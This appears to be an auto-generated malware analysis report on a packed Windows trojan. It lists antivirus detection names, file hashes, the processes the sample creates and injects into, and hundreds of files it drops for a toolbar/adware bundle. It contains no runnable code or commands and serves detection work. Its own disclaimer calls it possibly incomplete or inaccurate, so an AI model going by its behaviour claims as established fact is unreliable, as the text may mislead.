Trojan.Generic.11256692 (BitDefender), Trojan.Win32.Badur.htyo (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Trojan.Generic.11256692 (B) (Emsisoft), Artemis!37BD3E78933D (McAfee), Infostealer.Bankeiya (Symantec), Trojan-Downloader.Win32.Apher (Ikarus), Trojan.Generic.11256692 (FSecure), Downloader.Generic13.CCOW (AVG), Win32:Malware-gen (Avast), TROJ_GEN.R0CBC0PED14 (TrendMicro), Trojan.Generic.11256692 (AdAware), mzpefinder_pcap_file.YR, GenericEmailWorm.YR (Lavasoft MAS)Behaviour: Trojan-Downloader, Trojan, Worm, EmailWorm
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 37bd3e78933db6863bf17a82eba47c5c
SHA1: a6095924b0a3a11d63f73e9227da80b4b163262e
SHA256: fd5851f4119eef2e58269a259770263460b1476d1fd71cc46ff392d4e3c25236
SSDeep: 6144:SSOw/y4d67EgN0iC1bLY7coVYh4Nf9fG5 UmycGxHLLm4Yw7IjJ:SSOf4TgNJp3YOFNKIycGNvm4J7C
Size: 376116 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: no certificate found
Created at: 2014-04-21 05:48:12
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
Behaviour | Description |
---|---|
EmailWorm | Worm can send e-mails. |
Process activity
The Trojan creates the following process(es):
kpTopBar_b_8.exe:132
getnew.exe:1160
KPToolBar.exe:1752
The Trojan injects its code into the following process(es):
kuping_b_53390.exe:656
%original file name%.exe:1284
File activity
The process kpTopBar_b_8.exe:132 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\delete.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\Default.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_4.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\bg0.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\ICON_MyDocument.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\local_add.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_SpreadButton.png (1 bytes)
C:\KPToolBar\Update\SkinResource\Update.png (196 bytes)
C:\KPToolBar\Update\SkinResource\BKStep2.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\Tips\bz_2.png (588 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\float.png (1 bytes)
C:\KPToolBar\skinConfig\Default\IeList.ini (527 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\4.png (1372 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Up_.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\set.png (196 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarMsg.ini (432 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_SpreadButton.png (1 bytes)
C:\KPToolBar\Update\UDStatictical.dll (1882 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\jian.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\delete.png (1 bytes)
C:\KPToolBar\Update\SkinResource\IsNew.png (196 bytes)
C:\KPToolBar\Update\UpData.dll (2342 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\soso_btn.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\01.png (1176 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\shop.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_1.png (1 bytes)
C:\KPToolBar\Update\Skin.ini (2 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\lijixiufu.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\Thumbs.db (1568 bytes)
C:\KPToolBar\skinConfig\Default\CWyst_AddPicDlg.ini (196 bytes)
C:\KPToolBar\Update\SkinResource\BKStep1.png (1098 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\option.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\select.png (3 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\input.png (212 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\ck.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\news.png (3 bytes)
C:\KPToolBar\Update\SkinResource\ProgressBar.png (984 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Slider_V.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\ĬÈÃÂÂ\ui\msgbox\close.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\line.png (934 bytes)
C:\KPToolBar\skinConfig\DesktopToolBarSettingInfo.ini (450 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\sougou.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\txt2.png (1 bytes)
C:\KPToolBar\WallPaperIni\WallPaperSytle.xml (234 bytes)
C:\KPToolBar\GameIcon\Nomal\gameicon.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\soso.png (3 bytes)
C:\KPToolBar\skinConfig\Default\APP.ini (598 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\set.png (196 bytes)
C:\KPToolBar\Update\SkinResource\PopupBox.png (392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\h[2].js (13 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\slice3.png (2 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarAbout.ini (542 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\delete.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
C:\KPToolBar\wdj_connection_wrapper.dll (1949 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\system.png (1 bytes)
C:\KPToolBar\UserBehaviorStatistics.dll (471 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_Cancel.png (3 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarBZ.ini (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\search.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\hide\bg2.png (1 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\dan_xuan.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_ChooseBox.png (1 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\tongji_baidu[1].htm (295 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Load-Fail-.png (2 bytes)
C:\KPToolBar\TongJICNZZ.dll (1333 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Bar.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\add.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\bg.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\video.png (196 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\down.png (161 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\google.png (1 bytes)
%Documents and Settings%\%current user%\Desktop\¿áÆÃ¹¤¾ßÌõ.lnk (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_Advance.png (4 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\cancel.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\now-loading.png (1 bytes)
C:\KPToolBar\SystemConfig\setting.ini (547 bytes)
C:\KPToolBar\skinConfig\Default\ui\Tips\bz_1.png (588 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\slice1.png (2 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\xiezai.png (375 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\line2.png (929 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\bg_02.png (1568 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\check.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\wallbase_bg.png (157 bytes)
C:\KPToolBar\Update\SkinResource\FnishSmall.png (2 bytes)
C:\KPToolBar\getnew.exe (1960 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\scroll_bg.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\RadioBox.png (1 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\danxuan.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\note.png (1960 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\bg.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\link.png (784 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\finish2.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_CancelCT.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\seach_bar.png (1 bytes)
C:\KPToolBar\DeskTopPop.exe (1529 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\using.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\play.png (4 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set.png (1 bytes)
C:\KPToolBar\skinConfig\IsFirst.ini (97 bytes)
C:\KPToolBar\Uninstall\Link.exe (275 bytes)
C:\KPToolBar\skinConfig\DesktopToolBarLocation.ini (27 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_NoPic_AfterCT.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\promt_cancel.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\video.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\search.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\close.png (2 bytes)
C:\KPToolBar\skinConfig\AppUrl.ini (222 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\index[1].htm (750 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\procss_time.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\wait.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\mini.png (196 bytes)
C:\KPToolBar\Update\info.ini (20 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_AddToUL.png (4 bytes)
C:\KPToolBar\Update\SkinResource\Exit.png (1 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBar.ini (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\scroll_bar_img.png (972 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolAdd.ini (991 bytes)
C:\KPToolBar\Update\SkinResource\Minimize.png (392 bytes)
C:\KPToolBar\UniversalFunction.dll (4017 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\360_btn.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\bg.png (196 bytes)
C:\KPToolBar\Update\soft.ini (907 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\config.153624[1].xml (266 bytes)
C:\KPToolBar\Update\SkinResource\Fnish.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\Thumbs.db (1176 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_NoPic_BeforeCT.png (980 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\ie.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\focus.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\game.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\logo.png (196 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\Uninstall.ini (1 bytes)
C:\KPToolBar\skinConfig\skinconfig.ini (88 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\close.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\sure.png (196 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\advert.png (980 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\soso.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\ta.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\like.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\prompt.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanResult\Img_SelectAll.png (2 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\mennu_narrow.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\chk.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\scaning.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\soougou_btn.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\installedSoftInfo.ini (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\h[1].js (5 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\goole_logo.png (2 bytes)
C:\KPToolBar\Update\SkinResource\Cancel.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Down_V.png (1 bytes)
C:\KPToolBar\Update\SkinResource\Ok.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\Tips\search_tips.png (588 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\slice2.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_focus.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\focus.png (1 bytes)
C:\KPToolBar\unrar.dll (824 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\jindutiao.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\slice.png (2 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarSearch.ini (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\add.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\ĬÈÃÂÂ\ui\msgbox\cancel.png (3 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\¿áÆÃ¹¤¾ßÌõ\¿áÆÃ¹¤¾ßÌõ.lnk (1 bytes)
C:\KPToolBar\skinConfig\category.xml (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\About\about.png (588 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\¿áÆÃ¹¤¾ßÌõ\öÃâ€ÂØ¿áÆÃ¹¤¾ßÌõ.lnk (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\close.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\hide\show.png (1 bytes)
C:\KPToolBar\Repairer.exe (549 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\img_01.png (157 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\round.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\time.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\txt3.png (1 bytes)
C:\KPToolBar\zlib1.dll (1490 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Down.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_2.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\bg_01.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Slider.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_bg.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\txt.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\google_btn.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\hide\bg.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\logo.png (588 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarPop.ini (699 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\news.png (196 bytes)
C:\KPToolBar\skinConfig\Default\DeskRelevance.ini (210 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\line.png (944 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\tip.png (392 bytes)
C:\KPToolBar\kt_Mini.exe (157 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarSetting.ini (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\edit.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\clear.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\bg.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\bg2.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\360.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\play.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\ListBg.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\ICON_Desktop.png (1 bytes)
C:\KPToolBar\skinConfig\Default\tips.ini (450 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@config.153624[1].txt (191 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Bar_V.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\radio.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\ICON_Disk.png (1 bytes)
C:\KPToolBar\Uninstall\installedSoftInfo.ini (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanResult\SR_Img_Choice.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\1.png (1176 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\BKGND.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\prompt_sure.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\google.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\3.png (980 bytes)
C:\KPToolBar\skinConfig\Default\ui\Tips\Toolnote3.png (784 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\set_3.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\ĬÈÃÂÂ\MsgBox_1.ini (729 bytes)
C:\KPToolBar\skinConfig\Default\ui\hide\Thumbs.db (4 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\ie.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\scroll_bar.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\ĬÈÃÂÂ\ui\msgbox\btn_known.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\select.png (1 bytes)
C:\KPToolBar\Kp_BootClr.exe (1137 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\game.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\ying.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\HideBtn.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\bg.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Bar_H.png (962 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\add_pic.jpg (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\sorry.png (392 bytes)
C:\KPToolBar\skinConfig\Default\ToolGames.ini (912 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\Thumbs.db (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_CloseButton.png (1 bytes)
C:\KPToolBar\softset.ini (1713 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\pic.png (1 bytes)
C:\KPToolBar\Update\SkinResource\CheckUpdate.png (1 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\check-box_focus.png (991 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\baidu.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Down_H.png (1 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\up.png (160 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\lijiuninstall.png (784 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Slider_H.png (982 bytes)
C:\KPToolBar\KPToolBar.exe (4292 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\like.png (2 bytes)
C:\KPToolBar\skinConfig\DesktopToolBarBZInfo.ini (43 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\shop.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\2.png (1176 bytes)
C:\KPToolBar\skinConfig\Default\ui\hide\show2.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_41.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\stat[1].php (1163 bytes)
C:\KPToolBar\uninstall.exe (2733 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\skinconfig.ini (91 bytes)
C:\KPToolBar\Kpclick.ini (38 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\close.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\set_2.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\About\sure.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\baidu_btn.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\TongJICNZZ.dll (1333 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\open.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\using.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\CheckBox.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_CTing.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\baidu_logo.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\jia.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\sougou.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\360.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\close.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\default_pic.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Up_V.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\Thumbs.db (784 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_3.png (1 bytes)
C:\KPToolBar\skinConfig\so.xml (2 bytes)
C:\KPToolBar\Update\SkinResource\Point.png (1 bytes)
C:\KPToolBar\ExpandPackCheck.exe (1725 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\download.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\Thumbs.db (784 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\check-box.png (540 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\ement.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\bg.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\mini.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Up_H.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_CTDir.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\Tips\180x130-game.png (784 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\focus.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\time_bar.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\ICON_Folder.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\ICON_RecentLook.png (751 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\dotted.png (967 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\set_1.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\ĬÈÃÂÂ\ui\msgbox\bg_small.png (2 bytes)
C:\KPToolBar\version.ini (44 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_Scan.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\baidu_logo1.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\slected.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\seach.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\LZMA.dll (68 bytes)
C:\KPToolBar\skinConfig\DesktopToolBarSearchInfo.ini (1 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\op_41.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\installedSoftInfo.ini (0 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.aaa[1].xml (0 bytes)
C:\op_41.tmp (0 bytes)
The process kuping_b_53390.exe:656 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list-screen.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\bg_focus.png (327 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\LocalManagement_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-6.png (210 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list-mause.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\management.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\computer.png (1568 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\aboutme-text.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\DownloadWebDlg\delete.png (960 bytes)
C:\kuping4\TempDownLoad\Home\11272.jpg (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\image-bg.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\recover.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\update-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\button-skin-add.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\UploadImageLayer.ini (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\tick_fcous.png (714 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\cancel-button.png (1 bytes)
C:\kuping4\kpTopBar_b_8.exe (296445 bytes)
